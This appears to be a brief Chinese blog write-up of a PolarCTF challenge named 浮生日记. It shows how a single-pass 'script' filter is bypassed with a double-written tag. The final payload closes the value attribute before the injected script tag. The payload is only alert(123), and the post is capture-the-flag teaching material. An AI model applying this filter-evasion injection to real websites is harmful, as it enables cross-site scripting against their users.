很明显是个XSS，尝试常规语句发现会过滤script
尝试双写
<scscriptript>alert(123)</scscriptript>
可以看到只过滤了一次<script>，但是还没有触发弹窗
我们看下源代码，发现需要对value进行闭合
那么payload如下：
"><scscriptript>alert(123)</scscriptript>
【PolarCTF】浮生日记
大方子2026-01-24 9:25
相关推荐
学逆向的4 小时前
C 枚举变量QZ1665609515912 小时前
数据库监测的主动防御：实时感知，看见即掌控kingx318 小时前
BugKu 渗透测试4 Writeup：从 eval 注入到五层内网拿满 Flag愤怒火龙果18 小时前
AIShield 靶场 WPsbjdhjd20 小时前
从黑板事实到长链路剪枝：AI 渗透测试 Agent 的实验、失效与改造TechWayfarer1 天前
PHP漏洞被利用，怎么揪出攻击IP？终端安全笔记1 天前
一份配置管十项 AI 功能：它关的是入口，不是数据学逆向的1 天前
C 多文件开发学逆向的1 天前
C 内存属性万联WANFLOW1 天前
让分散的设备像在同一张局域网里：企业组网技术解析